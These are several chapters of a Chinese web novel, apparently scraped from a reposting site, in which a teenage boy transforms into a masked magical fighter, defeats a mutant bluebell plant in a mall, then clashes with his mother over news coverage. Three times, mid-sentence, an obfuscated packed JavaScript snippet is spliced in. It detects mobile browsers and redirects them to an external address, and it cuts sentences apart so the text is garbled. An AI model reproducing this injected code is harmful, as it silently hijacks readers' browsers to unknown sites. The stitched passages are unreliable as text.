一个动画片为什么这么长啊! 半个小时不刚刚好吗! 在一顿无声的碎碎念中,他忍住了第28个哈欠,看了眼手机,开始默算还有多久才散场。 “怎么了?累了吗?” 罗乐安正在心里倒计时呢,就听到左手边的温朗突然出声,吓得他差点被喉咙里的第29个哈欠呛着。 “咳……” 他往右看了眼,发现任穗和常映月都专注在剧情里,便放心往右歪了歪身子,随口编了个理由。 “没有,就是感觉……我的确是比小时候成熟了。” 噗。 听到罗乐安的话,就算性格稳定如温朗,也还是没忍住,嗓子里咳出一声闷笑,好在电影的声音足够大,身旁的人并没有听到。 “那你现在以成熟的眼光看这部电影,有什么新的收获吗?” 罗乐安:“……” 他都没看,怎么可能有什么收获! 这次的问题他不好现编,眼珠一转,计上心来,决定反客为主。 “话说,我都没想到你会答应一起来看电影,你不是不喜欢看动画片吗?” “但是你喜欢……不是吗?” “嗯?你刚刚说什么?” 温朗说话的时候,电影刚好到了高潮部分,BGM的声音陡然变大,把他的回答完完全全盖了过去。 “……我是说,偶尔看看不常看的类型也挺不错的,而且这部动画确实挺有意思。” 听到他夸奖自己童年时期喜欢的电影,罗乐安有种“与有荣焉”的开心,原本还因为太过熟悉而导致他兴致不高的剧情,瞬间又变得有趣了起来。 “温朗同志,你真的很有眼光~我跟你讲哦……” 于是,在与温朗的热情讨论中,他专心看完了后半段。 电影散场。 “呼……” 任穗伸了个懒腰,心满意足。 “时隔这么多年再重看,竟然还这么好看——小月,我跟你讲,我又有新灵感了,等放假我就画~” 听到她的话,走在前面的温朗微微侧头,“任同学之前的脑洞应该还没画吧,又有新……” “哎呀!” 罗乐安闻言,慌忙冲到两人中间,“我要去卫生间,你要不要一起?” 和他面对面的任穗:“……” 嗯? 她吗? 沉默,是今晚的主旋律。 意识到自己方向有误,罗乐安吞了吞口水,三二一向后转,对着温朗重新提议。 “要不要一起?” 嗯,只要他自己不尴尬,尴尬的就是别人! 最后四个人一起去了卫生间——男左女右、左右分开。 等到从影院出来,时间已经是晚上八点。 这个时间不算早,但也不算晚,稍微再逛逛也可以。 不过罗乐安不想再——节外生枝了,于是提议道:“电影看完了,明天还要上课,时间不早了,那我们现在就回家去吧。” “啊……” 任穗噘噘嘴,有些意犹未尽。 已经好久没有几个好朋友一起逛街了,就这么回去,下一次还不知道要等到什么时候。 “才八点出头,还没有那么晚吧,我还想去泡泡X特逛逛呢,据说新上了帕恰狗的童话系列盲盒——乐乐,你真的不想去看看吗?” 当然想啊! “帕恰控”罗乐安嘴唇颤抖,陷入了纠结。 好在他的头脑没发热到完全丧失理智,知道盲盒这东西不至于这次不买之后就买不到,便还是维持原来的决定。 “算了,我们还是先回家吧,之后早点来……” “嗡——” 同样的情景再次上演。 罗乐安的话还没说完,就被一道蜂鸣声打断。 然而和之前不同的是,这一次,不止他一个人听见,其他人也都听到了,一个个的被震得头晕眼花,等到罗乐安揉着脑袋恢复清明的时候,周围倒了一片,只有温朗还勉强站着。 “你们还好吗?” 他将倒在地上的两个女孩扶正,又将一旁步履漂浮的温朗拉下来,几个人靠着柱子坐好。 “一点都不好……” “想吐……” 见三人一直蹙着眉,一副很难受的模样,罗乐安本想去给他们接点温水,却不料刚站起身走了两步,就再一次听到了刺耳的蜂鸣声,紧接着,脚下的地砖开始震颤,头顶的射灯也猛烈摇晃了起来,附近店铺门口的易拉宝倒了一地。 地震吗?! 罗乐安的眼眸中闪过了更多的惊慌,不过下一秒他就恢复了镇定,因为这一次,他终于感受到了丧丧的灼热。 既然丧丧有反应,那就说明这不是地震,而是—— 谵蘖! 而就在这时,一楼中庭那里传来了掺杂着“怪物”“救命”等等的惊叫声,也印证了他的判断。 “乐乐!快过来!” 在听到楼下传来尖叫声的时候,温朗就已经恢复了清醒。 他伸手将睁开眼睛的任穗和常映月从地上拉了起来,紧接着揽过罗乐安,推着三人就往影院附近的户外旋梯出口跑去。 喂喂喂! 你一个还没完全恢复的人怎么会这么大力气啊! 发现自己距离大门越来越近,罗乐安顿觉不妙。 他是要当“逆行者”的,从紧急逃生出口离开算是什么事儿啊! 听到楼下的恐慌的尖叫声越来越多,他当机立断,从温朗的手臂下方钻了出来。 “阿朗,我,我我我先去趟卫生间,你快带着老穗和凛酱出去,我等下就跟上你们!” 说罢,也没管对方的反应如何,仗着自己身姿灵巧,像鱼儿入海般钻入人群,眨眼间就已经看不见了。 “乐乐——” 温朗下意识就要追过去,奈何身后的人越来越多,而且身旁的任穗还在这个时候被绊了一下,差点摔倒,他只好忍住担心,先把两个女生送到外面,等下再回来找人。 往回跑的“逆行者”罗乐安,自然是不清楚他那位天才竹马的打算的,他一回到影院就冲进卫生间,确定里面没人后,他掏出手柄变身器,坚定大喊。 “变身——” * 商场中庭的东侧是一家经营花店,原本以梦幻蓝紫色为主色调的店铺,如今狼藉一片。 店里的货架倒了一地,各色花卉更是再无娇艳,只剩下被踩踏后留下的各种黏腻。 店内早就没人了,但店铺的主人王悦却抱着一个小花盆,躲在被撞翻的前台桌下瑟瑟发抖。 她原本也是能及时跑出去的,只是当时一心想要抢救自己刚买到的珍贵多肉,结果错失了机会。 等到她再想出门的时候,距离自己店铺仅十米之远的那棵巨大变异的圆叶风铃草突然开始乱晃,一根粗壮的枝条直接擦着她的鼻子砸到了地上,吓得她只好又躲回了店里。 不过就这么一直躲着也不是事儿,王悦等了半天,感觉震颤感渐弱,震耳的蜂鸣声也没再响起,觉得那棵花估计已经不在了,便想着趁机逃出去。 结果,她刚冒头,就见挂着跟寺庙铜钟差不多大花朵的枝条,迎面朝着自己挥来。 完蛋了! 她下意识闭紧眼睛,等待死神挥下镰刀。 然而她等来了枝条砸地的巨响,却没有等来粉身碎骨的痛意,反倒感觉身子一轻,整个人像是被人抱了起来。 疑惑着悄悄睁开眼睛,首先映入她眼帘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035156|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是一个有些圆润的白皙下巴,视线往上,是一张用银丝勾勒着藤蔓与星辰的精致假面,假面之下,一双清亮水润的小鹿眼闪着无畏的光。 “你……” 王悦懵懵地开口,只是刚说了一个字,腾空跳跃的感觉就消失了。 那个突然出现的神秘少女——虽然没有看清脸,但对方一头蓝色的长发,身上奇怪的衣服很像时下一些女生喜欢的lo裙,所以应该是女孩吧——将她放到商场门口,没有多言就往回跑去,几个大跳后,消失在被瓦砾掩住的大门之后。 这位做好事不留名的“少女”,自然是罗乐安,不,更准确地说,变身后的他,有了一个全新的称呼,L-RAether。 他本人是很想喊着slogen闪亮登场的,奈何情况不允许。 刚刚在五楼卫生间完成变身后,他就直接从中庭的位置一跃而下,可是在即将落地的时候,刚好看到这颗异化的谵蘖正朝着一个路人挥动枝条。 眼看就要发生不幸,他空中一个转身,落到一家店铺招牌上,再紧接着脚一借力,朝着那根发疯的藤蔓跃去,狠狠将其踢开。 等他将那个躲在花店的路人送走,重返战场的时候,那棵刚刚已经倒地的谵蘖,再一次挥动起了长长的枝条,朝着他砸去。 而且这一次不仅仅是物理攻击,还有精神攻击。 在藤蔓晃动的同时,每根枝条上都有一朵的铃铛形状的紫色花朵也随之颤动,发出令人心神震颤的刺耳声音。 原来这就是那个蜂鸣声的真面目。 好在经过几轮声音攻击后,罗乐安大概是有了“抗体”,受到的影响已经减弱了许多,虽然还是会有些头疼,但已经不会晕眩了。 所以他还是可以顺利地跳跃穿梭,躲避那些枝条的攻击。 不过光躲是制服不了这棵“八爪鱼”的,他跳了几个回合后,召唤出手柄剑盾,准备效仿之前那战,先消耗,积累能量,最后再彻底净化。 然而计划赶不上变化快。 尽管这些枝条看上去要比之前的矢车菊细上不少,而且也更柔软,可实际上,等他真的砍上去的时候,就发现这东西的韧度和表皮的坚硬度要比自己想象的强得多。 他的剑在落到枝条上的时候,感觉像是一把钝刀在切一根粗粗的橡皮筋,移开之后,毫无伤害。 这样不行。 罗乐安落在枝条够不到的一家甜水铺子里,喘息几次后,他重新跳了出去,决定改变策略。 以前在动画里面看到过类似的场景,对付这种“八爪鱼”形态的怪物,诱导打结是一个非常有效的方法。 他在不停挥动的枝条间灵活地穿梭着,试图给它们编辫子。 这个计划在一开始的确是奏效的,几根枝条缠绕在一起,上面的花也相互勾结,最后因为笨重而狠狠落到地上。 只是,这样的枝条有十数根,又多,又长。 每当他缠趴下几根,跳到另一侧继续的时候,原本打好的结就会被挣脱开,而他就只好像是“熊瞎子掰苞米”,忙活半天,徒劳无功。 这样也不行。 “呼……呼……”罗乐安躲回了那家甜水铺子,有些无措地喘着粗气,额角都是汗水。 这不仅是体力上的消耗,还因为头疼。 是的,不知道为什么,这棵谵蘖的声音攻击对他又起效了,每一波蜂鸣,都让他的头越来越疼,越来越晕。 这才第二战,他该不会就要“炮灰”了吧! “丧丧!404!!你别装死,有道具就快给我,再丧下去你可就再没有能量可以用了!!!” 听到他饱含怒气的大喊,胸前的手柄变身器闪了闪,然而还没等到丧丧说话,新的声音攻击又到了。 而这一次的强度,比之前几次加起来都要厉害,罗乐安不仅感觉头痛欲裂,身体的平衡机能也像是被破坏了,根本站不住,走了几步后,倒在了店外。 然后。 离他最近的一根枝条,高高扬起。 17. BLUEBELL④ 眼看那根直径有三十公分粗细的枝条就要抽到自己身上,头痛欲裂的罗乐安本能地举起左手的盾牌,护在身前。 不过攻击虽然就此挡住,身后却是地砖,这也代表着他无处可退。 然而枝条却不止一根。 盾前的那根力量之大,已经压得他无法动弹,而边上的一根这时也已经举高,向下一扫就能将他抽飞。 绝对不能坐以待毙,必须要做些什么! 伴随着蜂鸣声停止,罗乐安的头脑和身体都恢复了部分清明,于是他右手支在地上,左手举盾向上又努力撑了撑,试图给自己隔出一个安全可以逃脱的空间。 可惜的是,尽管他已经连吃奶的劲儿都用上了,额头更是汗流如注,盾牌另一侧的枝条却依旧不动如山,甚至也还又加重了几分力道。 幸好关键时刻,丧丧终于清醒了。 「左手柄背后的按键。」 罗乐安甚至都没来得及问按键的作用,左手中指已经径直按了下去。 瞬间,一股热流从胸口涌向左臂,同时带来了充盈的力量。 “咦——嗬!” 他左手向前一顶,接着向外一挥,原本紧压着自己的枝条一下子就被顶了出去,他趁机爬了起来,向后一跳,刚好躲开了那记已经来到跟前的侧击。 “吓死我了,我还以为死定了……” 一手抚胸,罗乐安坐在被柱子隔离出的“安全区”庆祝自己的劫后余生。 “你醒过来的还真是时候啊,丧丧。” 丧丧没有回他,反倒是身后传来了一声巨响。 他扭过头,就见刚刚压着自己的那根枝条,并不仅仅只是被自己弹开,反倒更像是被谁用力甩了出去,直接击打在了另一根枝条上,发出了像是被抽了一巴掌一样的声音。 “我刚刚……有那么大力吗?还是说,我在危急关头,激发了潜能?” 罗乐安低头对着自己的左手喃喃,倒不是想要问出个答案,只是有些茫然的自语。 没想到胸前的丧丧却在这时突然主动发声了。 「『盾』模式下,背后的按键是反弹,请找准时机,妥善使用。」 “反弹?”罗乐安歪了歪头,“好用是好用,可也只能被打到才有效吧——我总不能一直凑到前面挨打吧!关键是只要有一次失败,我很可能就小命不保了诶!” 话音刚落,新一轮的声音攻击到来,还是加强版的。 而有了之前的经验教训,他第一时间就忍着头疼和晕眩往店里挪了挪。 攻击只持续了大概五秒钟,可是蜂鸣声停止后,罗乐安缓了足足有一分钟才清醒过来。 “所以,到底为什么攻击效果突然就加强了啊……明明之前我都已经免疫了不是吗?难道这株谵蘖也激发出潜能了?可是它哪里有‘遇险’的模样啊!明明陷入危机和苦战的只有我啊!” 他一边抱怨,一边拍了拍胸前的变身器。 「大概是因为,谵蘖从『无差别』的分散攻击,转为了『特定目标』的集中攻击。」 “无差别?集中攻击?声音可以做到这种……” 罗乐安的疑问还没问完,心里就有了答案。 当然能。 虽然他是个理科废柴,可好歹也被迫填了几年的物理“饲料”,再加上还有在温朗家补习时候被动的耳濡目染,因此他知道,所谓的声音,其实就是一种能量波动。 也就是所谓的“声波”。 换成这个概念的话,攻击效果加强就解释得通了。 十几个铃铛“嗡嗡嗡”的声音汇成一道无形的闪电,都集中往他一个人耳朵里劈,他没休克已经是很厉害了。 然而,光是知道这点,也没什么用。 毕竟—— “但是声波我看不到啊!挡也挡不住,防又防不了的……这跟鬼有什么区别啊!” 丧丧没有回应罗乐安愈发无厘头的抱怨。 与此同时,新一轮的蜂鸣声又开始了。 他痛苦地皱起眉,同时熟练地闭起眼睛。 只是看不见不代表听不见,他依旧能感觉到后脑勺像是被人拿着个电钻顶着一样,一直在“突突突”。 等等! 后脑勺? 罗乐安闭着眼,仔细感受着痛感最强的地方,是在自己脑袋的右后侧方。 他强忍着恶心,努力集中精力,将注意力汇聚到那个地方,然后,在一片漆黑又混沌的旋涡中,他看到了一道扎向自己的红光。 就是这里! 说时迟那时快,罗乐安身子一转左手一挪,盾牌立马就挡在了自己的左前方。 紧接着他中指按下反弹键,手腕向外一翻。 反弹攻击—— 而随着他动作结束,原本还在疯狂“摇铃”的谵蘖,像是被什么看不见的东西击中了一般,一下子向后仰倒。 同时,离他最近的一朵紫色铃铛花也从花萼上掉了下来,在空中化成一片红雾,飞进了罗乐安胸前的手柄里。 终于! 终于有进展了!! 太好了!!! 罗乐安高兴地从地上蹦了起来,一扫之前的疲惫,浑身上下像通了电的霓虹灯一样,滚动闪烁着永不燃灭的斗志。 “我活了!主角光环诚不欺我!!我现在可以一口气再打十个!!!” 胸前的变身器将红雾吸收干净后就不再闪烁了,对自己搭档那些傻兮兮的中二宣言,没有丝毫兴趣——包括吐槽。 不过后者的兴致并没有因此而受到打搅。 “嘿——咿!” 罗乐安臭屁地跳出安全区,整个人嘚瑟不已。 “哼哼哼~让你们欺负人,等着受死吧!” 叫嚣的劲儿宛如反派。 不过行动却不见任何冲动,而是罕见的冷静。 他闭上眼睛,集中精力。 这次没了声音的干扰,他很快就成功在脑袋里面看到了对面那株谵蘖的图像。 而且还是X光·透视版的。 无论是枝条还是花,其上的能量脉络他看得一清二楚,所以当他跳跃躲闪起来的时候,甚至比之前还要从容。 就这样,罗乐安利用盾反,顺利清除着这棵谵蘖上的铃铛花朵。 且随着蜂鸣声的干扰逐渐式微,他的反击也变得更加有力,没多久,就将最后一朵花消除干净了。 然而尽管变身器吸收了比上次多得多的能量,他却还是没等来净化的蓝色光芒。 “丧丧……” 他看着中庭里已经是强弩之末、却还在坚持张牙舞爪的谵蘖,心里涌出了些许烦躁。 打了这么久,看似很有成果,但细想之下又好像毫无进展,这棵谵蘖除了掉了几朵花,可以说是毫发无伤。 啧! 只是还没等他抱怨什么,“进展”就来了。 谵蘖暴走了。 原本已经有些摇晃不动的枝条突然开始发疯,枝条抽打的力度骤然上升,同时整株植物开始变得更大,枝条也迅猛生长变得更加粗长,攻击范围急速扩张。 可恶! 忘记残血BOSS容易暴走了! “丧丧——” 眼看就要打中那些还困在楼上的普通人,罗乐安急忙起跳,一边用剑击落那些高处的枝条,一边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049239|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大喊,情急之下甚至有些破音。 好在这只坑货精灵终于没在关键时刻掉链子。 一道橙红色的光芒从胸口的变身器射出,落到他手上,下一秒,他就感觉手上的手柄左右各有一个按键突然发烫。 他立马毫不犹豫地按了下去。 剑盾瞬间解除,变成了——弓与箭。 又是武器? ber! 他好歹是个魔法使吧! 理论上讲,就算是为了尊重设定,是不是也得给他个魔杖什么的啊喂! 罗乐安心中的吐槽如万马奔腾,可手上的动作并不含糊,毫不犹豫地搭弓,拉弦,瞄准。 最后,右手松开R键,那支通体焰色的箭矢,便如擦亮天际的流星一般飞了出去。 箭甫一射出,立刻就燃烧了起来。 火越着越旺,逐渐变成一个硕大的火球,落到了谵蘖长出枝条的基部,瞬间将其整个点燃。 大火腾空而起,火势如岩浆喷发,呼吸间便追上了扬起的枝条。 而那条原本马上就要攀上商场四层的枝条,尽管还想再做垂死挣扎,却还是在最后关头被火焰吞噬掉,无力地坠落下来。 只是即便如此,这株谵蘖也还是没有放弃,依旧在大力晃动着已经破碎不堪的躯体,烧焦的枝叶裹挟着火星四散,落在商场各处,惊得楼上的路人不停尖叫着。 同样在痛苦哭嚎的,还有那株谵蘖·火球版。 【嗷——】 【为……什……么……】 嚎叫之中似乎还掺杂着一些听不太清的词句,不过这种时候罗乐安也没心思去仔细分辨,特别是净化的蓝光已经就绪,当务之急还是要先解决眼前这个最大的麻烦。 “L-R同步!域外之物,消散!” 蓝色光球将燃烧着的谵蘖罩住,无止尽的火焰逐渐熄灭,而那些原本虚无缥缈的声音,也慢慢清晰了起来。 【为什么……是我踩到狗屎……】 【好不容易攒钱才买到的手机……可恶的小偷,还给我!】 【那份文件明明不是我弄湿的!!!】 【凭什么……要裁掉我……】 【房租……一年涨三次……该死的房东!!!】 【为什么……倒霉的总是我——】 …… 光球消失。 火焰消失。 谵蘖消失。 声音也消失了。 只有一颗和木瓜差不多大、形状跟灯笼有些像的种荚,留在原地。 罗乐安将种荚捡起,正想要开口问丧丧,就隐约听到有人在喊自己的名字。 是温朗的声音。 糟了! 对方该不会去卫生间找他了吧! 一想到温朗满世界找不到自己、急得不行的样子,当下他也顾不得寻求答案了,趁着这里的人都还没反应过来,连忙从中庭另一侧跳上四楼,一边解除变身,一边朝着声音的方向冲去。 “阿朗!我在这里呀,阿朗——” 他颠颠颠地跑到温朗面前,然后非常及时地在距离对方还有一步之遥的地方刹住了车,没有对自己的鼻子造成反作用力的伤害。 然而令他没想到的是,就在他心里默默夸赞自己睿智的时候,对方一个向前伸手,紧接着,他脆弱的鼻尖就“PIA叽”一下被拍到了某人坚硬的……锁骨上。 嘤…… 罗乐安疼得两眼含泪。 谁能想到,在这场激烈又精彩的战斗里,他受到的最严重的伤害,竟然来自自己那个最最无害的竹马呢? 太丢人了! 呜呜呜! 18. BLUEBELL⑤ “总算结束了……” “剪秋,本宫的头好痛啊……” “到底是谁设计的,把最痛苦的课放到头两节啊!” 一大早连上了两节数学课,好不容易盼来了大课间,整个高三(16)班都陷入了一种“劫后余生”的诡异气氛中,绝大部分人都是懒洋洋地趴在座位上,一边嘴里抱怨,一边清空脑袋里的xyz,等待不久之后abc的到来。 除了一个人,罗乐安。 周围人嘴巴里面都是“唉”,只有他是“哼”——肉肉的脸蛋比以往都要嘟,摆明了全是不爽。 如此奇景,让任穗好奇不已。 “乐乐,”她转过身戳了戳对方鼓鼓的腮帮子,“怎么气成这样?谁惹你了吗?” “还不是我妈。” 罗乐安噘着嘴巴,右手拿着笔在草稿纸上不停画着圈圈,明显是有心事。 “胡女士?她又因为考试成绩生你气啦?可你这次数学成绩不是提高了20分吗?多好啊,怎么还不满足呢?” 同样是“数学困难生”,任穗对罗乐安这次102的数学成绩表现出了近乎嫉妒的羡慕。 “和成绩没关系,”罗乐安扁扁嘴巴,想了想,还是只叹了口气,没有细说,“反正一言难尽。” 听到他的话,任穗左右看了眼,见没人注意到他俩,便又凑近了些,小声打听。 “那,是跟昨晚的事有关吗?她知道你在现场了?” “……应该还不知道。” “那会是因为什么呢?难不成是网上有什么新消息,胡阿姨又禁你足了?” 昨晚到家之后,为了不暴露自己曾遭遇危险,她一直忍到现在都没跟爸妈主动打探事情进展,今早又因为睡得太沉差点起晚,更是没时间上网冲浪。 至于班里其他人,因为“手机管制”,也没有第一时间得到消息——或者说,消息还没在校园里大范围蔓延开——所以她想跟人讨论都没办法,只能憋着,因而关于网上甚嚣尘上的各种讨论,她就更不清楚了。 “哼……反正胡女士就是不讲道理!” 关于罗乐安的怒火,要追溯到今早六点。 「……现在为您带来的,是昨日发生在我市城北中心区域『星光天地』购物中心,离奇袭击事件的后续报道……」 他破天荒地主动在这个时间起床,叼着半个玫瑰盐面包坐在茶几前,又破天荒地专心致志观看起早间新闻。 在这个阶段,他的心情还是很好的。 因为他还是很想知道商场里的那些当事人,都是怎么夸自己的。 「……昨天晚上八时许,一株具有高度攻击性的变异植物在星光广场主楼中庭区域突然破土而出。监视画面显示,变异植物以极其惊人的速度生长、异变,变异的枝条在短短几分钟内就对商场内部造成了严重破坏,玻璃连廊碎裂,多家店铺被摧毁,现场一片狼藉。」 “我的天啊……从旁观角度看,这破坏力也太强了吧!也不知道有多少人受伤。” 盐面包吃完了,罗乐安喝掉半杯咖啡,又拆开一个开心果贝果。 昨晚他以“从卫生间出来之后慌乱之间走错了路”的理由,暂时糊弄住了温朗。 之后他俩从户外楼梯出去,跟任穗和常映月汇合。 确认彼此都没有受伤后,他们几个商量了一下,为了不让家里人担心,决定隐瞒今晚的遭遇,之后就各自回了家。 到家的时候是晚上九点,胡女士不在家,他撑着精神坚持洗漱完,回了卧室之后倒头就睡。 好在这次没有再出现发烧的情况,他睡够八小时之后,可以说是精神焕发。 就是不清楚昨晚事件的后续调查是什么情况,因此他睁开眼睛就去网上查消息。 只是网络上的信息鱼龙混杂,有些打着官方旗号的文章,一点开也全都是营销号在瞎编,他只好打开电视,调到了本地的新闻频道,等待更权威的官方报道。 「……由于事发时并非客流最高峰,加之警方和消防部门反应迅速,进行了有效疏散,最终仅有23人受轻伤,无人员死亡或重伤报告。」 “还好还好。” 听到没出现恶性的伤亡,罗乐安拍拍胸口,总算是松了一口气。 新闻还在继续,他却没再接着听,而是起身去了厨房。 连续吃了两个面包,现在想吃点咸的中和一下。 而等到五分钟后,当他端着一碗微波炉火鸡面回来的时候,电视上的镜头已经从商场内外的监控画面,转成了事件目击者的采访。 「……我、我也不知道……我只是在那里刮彩票,我买了五十张,结果就中了二十块钱——我用了我仅剩的钱,本来是想搏一搏的,结果全没了……全没了!!!」 「……我当时正在店里整理花材,然后就听到有个男的在我对面的彩票站大哭大嚎。我原本准备去看看热闹,结果摆在店门口的一盆圆叶风铃草突然倒了,接着花盆自己就往中庭滚。我正想要出去把它拿回来,结果就看到它突然变大了,还发疯,把我的店都给砸了……我想逃,可是那个风铃草的花摇来摇去的,发出的声音让我头晕恶心,最后差点就要被枝条打中……幸好有个特别厉害的女生出现,就是她把我救出去的,她一定是超级英雄!」 听到有人提到自己,被面条辣得“嘶哈嘶哈”满世界找水的罗乐安下意识抬头,就见电视里的画面已经从受访者再次切换到了监控画面。 「……据现场其他目击者证词,的确存在刚刚受访者所说的『神秘少女』,且正是这位少女的出现,商场内的情况才得以得到有效控制。根据这部分模糊的现场影像,我们可以看到这位少女并未使用常规武器,而是以一种暂时还无法解释的方式与变异植物对抗,且在用神秘力量将变异植物彻底消灭,以一己之力迅速化解危机后,她没有留下任何身份信息,在跳上商场的玻璃穹顶后就消失不见,至今仍未被找到。其身份、动机以及所展现的超凡能力,已成为本次事件的的最大声谜团,引发了市民和网络上的广泛猜测及热议。」 “虽然从监控画面来看的确不是很清晰……可是你们怎么就那么坚定地认为是‘少女’呢?我明明穿的是短裤啊!刻板印象真是要不得啊……” 罗乐安以辣度追不上来的超快速度嗦完了面,一边不满意地抱怨着,一边又拆开了一个生椰卷,接着酷酷炫。 唔。 这次虽然没发烧,可是似乎特别饿,大概是消耗太大了吧。 电视里的新闻还在继续。 「……接下来为您播报此次事件官方目前的调查进展。」 「生物危害控制部门已经完全封锁现场,试图对变异植物进行紧急采样和分析,但尚未找到其残骸。」 「警方正在梳理海量的监控录像和目击证词,全力追查神秘少女的踪迹,并调查其背景。同时,也在排查是否有任何组织或个人与此事有关联。」 「商场方面,星光天地预计将关闭至少两周,进行全面的结构安全评估和修复工作。」 以上这些消息都在罗乐安的接受范围内,因此在“吨吨吨”灌完一杯冰镇橙汁后,他起身伸了个懒腰。 刚刚碳水吃得有点多,感觉脑子又不是很清醒了,时间还没到六点半,他便准备回床上再补半个小时的觉。 只是就在他想要关电视的时候,最新的新闻内容又吸引了他的注意力。 「……此次事件虽然造成恐慌,但市民普遍对于神秘少女及时出手阻止更大悲剧的行为,表示感激和好奇。除此之外,网络上还有部分声音认为,这是一场由星光广场精心策划的炒作行为,呼吁官方尽快查明真相,并严厉禁止这种行为……」 炒作?! 无端被扣了这么大一顶帽子的罗乐安气愤极了。 “你才炒作!你全家都炒作!明明是救人于水火的大英雄,怎么有些红眼病就知道炒作!炒炒炒!炒你……” “吵死了!!!” 罗乐安充满怨念的碎碎念,被自己亲妈一个大力破门给打断了。 他看着披头散发、毫无形象、眼圈乌青的胡之桃女士,有些心虚地咽了咽口水。 “妈、maaaaa……妈妈!你今天怎么起这么早啊?哈、哈、哈。” “哈你个头啊!” 胡女士阴沉沉地走出卧室,在罗乐安不可置信的眼神中抄起桌上的一个碱水包,狠狠咬了一口。 后者直接一个大哆嗦。 完噜! 只有胡女士真气疯了的时候,才会毫不顾忌形象,没洗脸没刷牙就先吃东西。 那一瞬间,罗乐安觉得自己屁股都开始幻痛了。 可就算真要被“处决”,他也还是得弄明白自己到底触了哪片逆鳞,这样也还有顺毛哄好的机会。 难不成是他马甲掉了? 唔……应该不是。 如果胡女士真的知道他变成了魔法少男,肯定一个大逼斗就直接扇过来了,哪里还会还给自己这么久的反应时间。 想到这里,罗乐安镇定了一些。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16058753|176346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “胡、胡女士,早上好啊。你脸色好像不太好哦,昨晚没睡好吗?” 拍摄不顺利吗? 还是又加班剪片子了? 总之肯定跟他无关,对吧? 恶狠狠地吃完了碱水包,胡女士接着抄起桌上剩下的半瓶橙汁,“吨吨吨”一口气喝光,之后才又继续道:“老娘我凌晨三点才回家,刚睡了三个小时就被你吵起来,能睡得好才有鬼!” “啊?怎么那么晚才回来啊?是去拍夜景了?你不是不接这么晚的活儿吗?” “呵!” 胡女士将瓶子“哐”一下砸到茶几上,眼神凶狠地看向电视,“还不是为了这个!” 罗乐安扭过头看向电视,就见电视里又在重播刚刚的新闻,画面刚好是监控视频里自己举着盾反弹声波的画面。 他的心骤然一紧,随即又放松下来。 没关系没关系,画面那么糊,距离还远,而且样子也和他差很多,肯定认不出来。 “你说这个新闻啊?我刚刚也看了,没想到湖灵市也出现异常事件了,妈你之前不是说这里很安全的吗?妈?你干嘛不说话啊,m……额。” 看到胡女士正狠瞪着自己,罗乐安识时务地闭上了嘴巴。 好在胡女士没有继续发飙——在发了一通邪火后,相比起生气,她现在更多的是疲惫。 “湖灵市原本的确是很安全的,”她瘫在沙发上,整个人恹恹的,“昨晚的事是意外,监管局已经在加紧处理了,不然我也不至于开会开到凌晨三点。” 说完,她拆开一个巧克力千层,开始补充能量,一副不打算再多说的模样。 只是她不想说,不代表罗乐安不想问。 “那这个神秘……人,是你的同事吗?” 他犹豫了下,还是没好意思说出“少女”两个字。 “……不是。” “不是吗?那是不是说明昨天解决危机的就不是监管局了啊?为什么你昨天没有去呢?这样还算是守护世界和平的魔法少女吗,蓝莓酱?” 罗乐安的语气怪怪的,不说是小人得志,多少也带了点儿阴阳和得意。 难得能遇到可以揶揄胡女士的机会,他有点飘也是很正常的…… “罗!乐!!安!!!” 面对眼里快发射激光的亲妈,罗乐安收起笑容,一秒乖巧。 “咳,我没有说你没用的意思……” 胡女士并没有被他的装乖和补丁哄好,反而阴沉着脸,语气严肃。 “罗乐安,昨晚那事儿跟你没关系吧?” “当……然,没有了。” 罗乐安强忍住紧张带来的结巴,努力扯出一个自然的笑容。 “你干嘛这么问?我虽然是想当魔法使,可这种事也不是我想就能……” “没有关系最好。”胡女士打断了他的话,“那个人身份不明,来历不明,很可能是个危险分子……” “可是你们眼里这个‘危险分子’,昨天晚上成功阻止了危机恶化,保护了商场里的人,而你们这些‘专业人士’却置人民安危于不顾,只知道开会!” 原本之前听到一些人认为昨晚的事情是炒作,罗乐安就已经很不爽了,结果自己亲妈现在跟他说,自己是个危险分子,他的火气立马就压不住了。 “罗乐安!你知道些什么?!” 胡女士一气之下将手里的半块蛋糕直接摔在了地上,“监管局自然有自己的考量,如果一遇到事什么都不调查就让魔法使去解决问题,那世界很可能会陷入更大的危机!” “冠冕堂皇……” 罗乐安也是第一次见自己母亲如此生气,没敢再继续杠,却也还是不太服气的小声嘀咕了一句。 “……” 胡女士见他这副德性,闭上眼睛缓了好一会儿,才给今早的争执正式收尾。 “总之,你别再关心这些事,更别参与,就当什么都不知道——从今天起,放学之后哪儿都不准去,第一时间回家写作业,听清楚没有!” 